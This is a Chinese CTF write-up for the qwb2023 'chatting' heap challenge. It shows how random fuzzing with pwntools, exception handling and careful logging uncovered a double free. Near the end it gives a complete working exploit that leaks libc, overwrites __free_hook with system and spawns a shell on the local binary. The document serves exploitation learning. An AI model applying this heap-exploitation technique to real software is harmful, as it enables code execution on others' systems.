从fuzz视角看CTF堆题--qwb2023_chatting

前言

这个题目是一个c++的堆题,而我自己对于c++的一些内存分配不太了解,同时也不太会c++的逆向,硬看是没有办法了,所以就想能不能通过fuzz的角度去进行利用

fuzz

大概思路

函数选择

可以看到有add delete switch read listuser message6个操作,而凭感觉来说,listuser一般没什么效果,所以我这里主要fuzz其他五个函数
截屏2023-12-24 11.35.22.png

交互

简单写一下交互

def add(name):sla(b"listuser, exit): ",b"add")sla(b"new username: ",name)def free(name):sla(b"listuser, exit): ",b"delete")sla(b"to delete: ",name)def message(username,size,data):sla(b"listuser, exit): ",b"message")sla(b"To: ",username)    sla(b"Message size: ",str(size))sla(b"Content: ",data)
def show():sla(b"listuser, exit): ",b"read")def switch(user):sla(b"listuser, exit): ",b"switch")sla(b"o switch to: ",user)

参数

这里可以注意到,参数总共有3种,1 username,2 message的size,3 message的data
username这里我就简单一个random.choice(“abcdefgh”) 随机取值,大概范围就是8个值,样本范围不适合太大
size 这里我简单看了一下程序,里面有个分配0x60大小的堆,保存了用户的信息,然后我就想把message的size和这个用户的size构造一样,有可能会有uaf的问题
截屏2023-12-24 11.41.18.png
data 这里我就随便写了短的内容,最开始也没想过溢出,还是想fuzz double free这种问题

初步fuzz结构

下面是一个fuzz的例子,可以看到思路就很简单,随机执行操作,然后记录到log里面

def fuzz():f=open('log.txt','w')for i in range(0,0x1000):if i % 10 == 0:idx=randint(0,0x10)add(0x20,idx)f.write('add({},0x20)'.format(idx)+'\n')elif i % 2 == 0 :idx=randint(0,0x10)free(idx)f.write('delt({})'.format(idx)+'\n')elif i % 3 == 0 :idx=randint(0,0x10)show(idx)ru('>>: ')check_char=r(1)if check_char == '\x55' or check_char == '\x56':f.write('show({})'.format(idx)+'\n')break            f.close()

但是在做这个题目的时候遇到了其他的一些问题,不像之前fuzz其他题目一样,这个题目fuzz很容易报错,那么我们必须要进行一个异常的捕获

处理异常

处理异常这里坑还是比较多的,我就分别描述

无法获取程序异常返回结果

在交互里面,我们比较习惯写成sla,或者ru这种,他报错的时候不会返回给我们程序的报错内容,所以这里我通过阅读ru的实现,修改了一下代码,把程序的返回值放到Exception里面,然后我们就可以知道程序到底报了什么错,是double free呢,还是invalid pointer
截屏2023-12-21 19.56.40.png

log记录问题

log里面少记录

按照前面提到的fuzz结构,增加异常处理后类似于下面的代码

def fuzz():f=open('log.txt','w')try:for i in range(0,0x1000):if i % 10 == 0:idx=randint(0,0x10)add(0x20,idx)f.write('add({},0x20)'.format(idx)+'\n')elif i % 2 == 0 :idx=randint(0,0x10)free(idx)f.write('delt({})'.format(idx)+'\n')except:passfinally:f.close()

这种写法,如果在执行流程里面比如说add里报了错,因为抛了异常导致这个操作会无法记录下来

log里面多记录

针对上面少记录的情况,可能我们会这样改

def fuzz():f=open('log.txt','w')try:for i in range(0,0x1000):if i % 10 == 0:idx=randint(0,0x10)tmp='add({},0x20)'.format(idx)+'\n'add(0x20,idx)f.write('add({},0x20)'.format(idx)+'\n')elif i % 2 == 0 :idx=randint(0,0x10)tmp='delt({},0x20)'.format(idx)+'\n'free(idx)f.write('delt({})'.format(idx)+'\n')except:f.write(tmp)finally:         f.close()

但是上面这种修改又会带来新的问题
我们add操作输入完username后程序抛了异常,但是这个时候不会在add这里结束,他还会执行到下一个流程,然后会在下一个流程的sla(b"listuser, exit")这里抛异常,然后我们就会多记录一个操作

最终解决方法

在这里,我们需要定义一个流程完整的生命周期
交互开始,从收到):代表我们流程的开始
截屏2023-12-24 12.02.57.png
交互结束,收到Choose action为止
截屏2023-12-24 12.03.30.png
这样定义后我们可以保证下一个流程能够正常的开始,就不会出上面提到的多记录的问题了,也就能够保证,当前流程抛出的异常一定是当前流程里执行某些操作引起的,而不是上一个流程遗留的异常
总共就是下面三个情况

  • 如果add中间出错了,那么flag=0,我们会在excpet里面记录
  • 如果ru报错,那么证明add完之后出现了问题,flag=0,也会记上
  • 如果本次add操作没有触发任何异常,那么也会记录在log里,同时也能够成功执行到下一次的操作,
def fuzz():global ioio = process("./chatting")f=open("log.txt","w")try:for i in range(0,0x1000):flag=0#防止在执行函数的时候报错tmp=""if i % 19 == 0:name=random.choice("abcdefgh")tmp=f'add("{name}")\n'add(name)ru('Choose action')flag=1f.write(tmp)elif i%4==0:name=random.choice("abcdefgh")tmp=f'free("{name}")\n'free(name)ru('Choose action')flag=1f.write(tmp)except Exception as e:if flag==0:f.write(tmp)if b"double free or corruption" not in e.args[0]:return 0else:print(e.args[0])return 1finally:f.close()io.close()

按照上面的结构fuzz,一方面我们可以获取到程序的异常原因,另一个方面也可以不多不少的记录下来执行的操作

开始fuzz

保留所有结果的fuzz

这个fuzz里面保留了所有的结果

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:libc = ELF(f"{lib_path}/libc.so.6")
else:libc=elf.libcdef add(name):sla(b"listuser, exit): ",b"add")sla(b"new username: ",name)def free(name):sla(b"listuser, exit): ",b"delete")sla(b"to delete: ",name)def message(username,size,data):sla(b"listuser, exit): ",b"message")sla(b"To: ",username)    sla(b"Message size: ",str(size))sla(b"Content: ",data)def show():sla(b"listuser, exit): ",b"read")def switch(user):sla(b"listuser, exit): ",b"switch")sla(b"o switch to: ",user)def fuzz():global ioio = process("./chatting")sla(b"new username: ",b"a")f=open("log.txt","w")try:for i in range(0,0x1000):flag=0#防止在执行函数的时候报错tmp=""if i % 19 == 0:name=random.choice("abcdefgh")tmp=f'add("{name}")\n'add(name)ru('Choose action')flag=1f.write(tmp)elif i%4==0:name=random.choice("abcdefgh")tmp=f'free("{name}")\n'free(name)info =ru('Choose action')flag=1f.write(tmp)elif i %4==1:name=random.choice("abcdefgh")tmp=f'message("{name}",0x58,"aa")\n'message(name,0x58,"aa")info =ru('Choose action')flag=1f.write(tmp)elif i %4==2:name=random.choice("abcdefgh")tmp=f'switch("{name}")\n'switch(name)info =ru('Choose action')flag=1f.write(tmp)elif i%4==3:tmp='show()\n'show()info=ru(b"Choose action")flag=1if b"\x55" in info or b"\x56" in info  or b"\x7f" in info:f.write(tmp)f.write(f"#{info}\n") except Exception as e:if flag==0:f.write(tmp)if b"double free or corruption" not in e.args[0]:return 0else:print(e.args[0])return 1finally:f.close()io.close()while True:if fuzz()==1:print("sucess")exit(0)

方便的验证脚本

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:libc = ELF(f"{lib_path}/libc.so.6")
else:libc=elf.libcdef add(name):sla(b"): ",b"add")sla(b"new username: ",name)def free(name):sla(b"): ",b"delete")sla(b"to delete: ",name)def message(username,size,data):sla(b"): ",b"message")sla(b"To: ",username)sla(b"Message size: ",str(size))sla(b"Content: ",data)def show():sla(b"): ",b"read")def switch(user):sla(b"): ",b"switch")sla(b"o switch to: ",user)io = process(parm)
sla(b"new username: ",b"a")
with open("log.txt","r" ) as f:for line in f.read().split("\n"):if  line=="" or line[0]=="#" :passelse:eval(line)it()

去掉一些无用操作的fuzz

fuzz里会有一些无用操作,比如说我们free一个不存在的index的结构体,那么他会提示not found,同时实际上他也没有影响堆布局等,这些可以忽略的
先调整一下delete

                    	name=random.choice("abcdefgh")tmp=f'free("{name}")\n'free(name)info =ru('Choose action')flag=1if b"not found!" in info:continuef.write(tmp)

调整一下switch

                    	name=random.choice("abcdefgh")tmp=f'switch("{name}")\n'switch(name)info =ru('Choose action')flag=1if b"not found!" in info:continuef.write(tmp)

经过测试发现,虽然message会报Recipient not found!的错误,但是我们不能把他过滤,实际上他还是做了对应的操作的,下面是代码部分
截屏2023-12-22 09.29.48.png
那从纯fuzz的角度来说呢,我们就是一个个试,看看哪些是可以忽略,哪些不能忽略
如果我们保存log的时候忽略了一些看起来没有效果的操作,但是实际上这些操作可能影响了堆布局,我们在复现log里面保存的payload的时候就会无法触发异常
所以本次经过测试,show delete switch操作可以忽略一些无效的操作,但是message不行

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:libc = ELF(f"{lib_path}/libc.so.6")
else:libc=elf.libcdef add(name):sla(b"listuser, exit): ",b"add")sla(b"new username: ",name)def free(name):sla(b"listuser, exit): ",b"delete")sla(b"to delete: ",name)def message(username,size,data):sla(b"listuser, exit): ",b"message")sla(b"To: ",username)    sla(b"Message size: ",str(size))sla(b"Content: ",data)def show():sla(b"listuser, exit): ",b"read")def switch(user):sla(b"listuser, exit): ",b"switch")sla(b"o switch to: ",user)def fuzz():global ioio = process("./chatting")sla(b"new username: ",b"a")f=open("log.txt","w")try:for i in range(0,0x1000):flag=0#防止在执行函数的时候报错tmp=""if i % 19 == 0:name=random.choice("abcdefgh")tmp=f'add("{name}")\n'add(name)ru('Choose action')flag=1f.write(tmp)elif i%4==0:name=random.choice("abcdefgh")tmp=f'free("{name}")\n'free(name)info =ru('Choose action')flag=1if b"not found!" in info:continuef.write(tmp)elif i %4==1:name=random.choice("abcdefgh")tmp=f'message("{name}",0x58,"")\n'message(name,0x58,"")info =ru('Choose action')flag=1f.write(tmp)elif i %4==2:name=random.choice("abcdefgh")tmp=f'switch("{name}")\n'switch(name)info =ru('Choose action')flag=1if b"not found!" in info:continuef.write(tmp)elif i%4==3:tmp='show()\n'show()info=ru(b"Choose action")flag=1if b"\x55" in info or b"\x56" in info or b"\x7f" in info :f.write(tmp)f.write(f"#{info}\n") except Exception as e:if flag==0:f.write(tmp)if b"double free or corruption" not in e.args[0]:return 0else:print(e.args[0])return 1finally:f.close()io.close()while True:if fuzz()==1:print("sucess")exit(0)

结果

add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("d",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
message("g",0x58,"")
show()
#b'e -> e: \n\xbc\xd1\xcb\xa8\x7f\nDone\nChoose action'
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("e",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("f",0x58,"")
show()
#b'e -> e: \n\xd4p\xaf\x97U\nDone\nChoose action'
message("h",0x58,"")
add("d")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
add("c")

修改payload

当我们去掉最后一个的时候可以发现这里已经double free了,那么我们只需要按照正常操作,去写free_hook即可
image.png

message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))

最后发现add会free message,直接rce

all payload

#!/usr/bin/python3
#  -*- coding: utf-8 -*-
from pwn import *it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)elf_path = "./chatting"
lib_path=""
parm=elf_path
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:libc = ELF(f"{lib_path}/libc.so.6")
else:libc=elf.libcdef add(name):sla(b"): ",b"add")sla(b"new username: ",name)def free(name):sla(b"): ",b"delete")sla(b"to delete: ",name)def message(username,size,data):sla(b"): ",b"message")sla(b"To: ",username)sla(b"Message size: ",str(size))sla(b"Content: ",data)def show():sla(b"): ",b"read")def switch(user):sla(b"): ",b"switch")sla(b"o switch to: ",user)io = process("./chatting")
sla(b"new username: ",b"a")add("b")
message("g",0x58,"")
switch("b")
message("a",0x58,"")
switch("a")
message("c",0x58,"")
message("e",0x58,"")
switch("a")
message("b",0x58,"")
add("b")
message("d",0x58,"")
switch("b")
free("a")
message("c",0x58,"")
switch("b")
message("a",0x58,"")
free("b")
message("d",0x58,"")
message("e",0x58,"")
add("e")
message("h",0x58,"")
message("e",0x58,"")
switch("e")
message("g",0x58,"")
message("e",0x58,"")
switch("b")
add("g")
message("c",0x58,"")
switch("g")
free("b")
message("d",0x58,"")
switch("e")
message("d",0x58,"")
message("g",0x58,"")
show()
libc_base=u64(ru(b"\x7f")[-6:].ljust(8,b"\0"))-0x3ebc0a
add("e")
message("h",0x58,"")
switch("g")
free("g")
message("b",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
free("e")
message("e",0x58,"")
add("e")
message("e",0x58,"")
free("e")
message("a",0x58,"")
switch("e")
message("e",0x58,"")
message("f",0x58,"")
message("h",0x58,"")
add("e")
message("c",0x58,"")
message("b",0x58,"")
message("c",0x58,"")
message("c",0x58,"")
message("c",0x58,p64(libc_base+libc.sym["__free_hook"]))
message("c",0x58,"")
message("c",0x58,"a")
message("e",0x58,"/bin/sh\0")
message("f",0x58,p64(libc_base+libc.sym['system']))
add("c")
it()

总结

  • 注意异常处理部分
  • 注意每一个流程完整的生命周期,防止当前流程触发的异常实际是上一个操作的
  • 不要随意忽视看起来没有效果的操作,除非能保证去除那些操作之后不影响fuzz的结果,或者说除非我们从代码层面能够保证实际是没有效果的

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/317584.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vue 实现拐弯时间线,弯曲时间线,弯曲任务步骤条

需求&#xff1a; 实现可拐弯的步骤条功能 实现后效果如下&#xff1a; 代码部分&#xff1a; 创建步骤条组件Steps.vue <template><div><divstyle"width: 100%; display: flex; position: relative; margin-top: 20px"><div style"wi…

leetcode12 整数转罗马数字

题目描述&#xff1a;给定一个整数&#xff0c;将其转换为罗马数字。罗马数字由七个字符表示&#xff1a;I&#xff08;1&#xff09;、V&#xff08;5&#xff09;、X&#xff08;10&#xff09;、L&#xff08;50&#xff09;、C&#xff08;100&#xff09;、D&#xff08;5…

【Matlab】基于遗传算法优化BP神经网络 (GA-BP)的数据时序预测(附代码)

资源下载&#xff1a; https://download.csdn.net/download/vvoennvv/88682033 目录 【Matlab】BP 神经网络时序预测算法 【Matlab】CNN卷积神经网络时序预测算法 【Matlab】ELM极限学习机时序预测算法 【Matlab】基于遗传算法优化BP神经网络 (GA-BP)的数据时序预测 【Mat…

搭建Python环境

为了能进行Python开发&#xff0c;需要搭建Python环境 搭建运行环境&#xff1a;Python 搭建开发环境&#xff1a;PyCharm 安装Python 1.点开python官网 欢迎来到 Python.orghttps://www.python.org/ 2.选择Downloads&#xff08;下载&#xff09; &#xff08;上面的…

2024年CIO的14大战略优先事项与关键趋势解析

GenAI将成为2024年的核心技术趋势&#xff0c;对CIO来说是主要关注点。他们需负责评估新工具&#xff0c;搭建基础设施&#xff0c;应对潜在风险&#xff0c;并且把握创新的用户体验机会。挑战在于&#xff0c;众多供应商争相推出价格不菲的GenAI功能。CIO需要通过商业案例分析…

MySQL基础篇(一)SQL

视频地址: 黑马程序员 MySQL数据库入门到精通&#xff0c;从mysql安装到mysql高级、mysql优化全囊括 SQL&#xff0c;全称 Structured Query Language&#xff0c;结构化查询语言。操作关系型数据库的编程语言&#xff0c;定义了一套操作关系型数据库统一 标准。 一、SQL通用语…

【力扣题解】P700-二叉搜索树中的搜索-Java题解

&#x1f468;‍&#x1f4bb;博客主页&#xff1a;花无缺 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 花无缺 原创 收录于专栏 【力扣题解】 文章目录 【力扣题解】P700-二叉搜索树中的搜索-Java题解&#x1f30f;题目描述&#x1f4a1;题解&#x1f…

Python 面向对象之绑定和非绑定方法

Python 面向对象之绑定和非绑定方法 【一】序言 在Python类的成员中分为两类&#xff1a;一个是属性&#xff0c;另一个就是方法&#xff08;就是定义的函数&#xff09;方法又分为两大类&#xff1a;绑定方法&#xff08;动态方法&#xff09;和非绑定方法&#xff08;静态方…

RocketMQ5.0消息过滤

前言 消费者订阅了某个主题后&#xff0c;RocketMQ 会将该主题中的所有消息投递给消费者。若消费者只需要关注部分消息&#xff0c;可通过设置过滤条件在 Broker 端进行过滤&#xff0c;只获取到需要关注的消息子集&#xff0c;避免接收到大量无效的消息。 以电商交易场景为例…

海外住宅IP代理的工作原理和应用场景分析,新手必看

海外住宅IP代理作为一种技术解决方案&#xff0c;为用户提供了访问全球网络资源和维护隐私安全的方法。本文将介绍海外住宅IP代理的工作原理和应用场景&#xff0c;帮助读者更好地理解和利用这一技术。 一、工作原理 海外住宅IP代理的工作原理基于代理服务器和IP地址的转发。它…

Docker实战02|Namespace

在上一文《Docker实战01&#xff5c;容器与开发语言》中主要介绍了Docker的基本概念与Docker安装、Go语言安装等实战技巧。 本文继续针对Namespace技术展开讲解并利用Go语言进行实践。 本系列所有代码均已经开源。关公众号回复「Go语言实现Docker」即可获得。 目录 2.1.2 U…

Spring ApplicationEvent事件处理

Spring的事件 ApplicationEvent以及Listener是Spring为我们提供的一个事件监听、订阅的实现&#xff0c;内部实现原理是观察者设计模式&#xff0c;设计初衷也是为了系统业务逻辑之间的解耦&#xff0c;提高可扩展性以及可维护性。 ApplicationEvent就是Spring的事件接口Applic…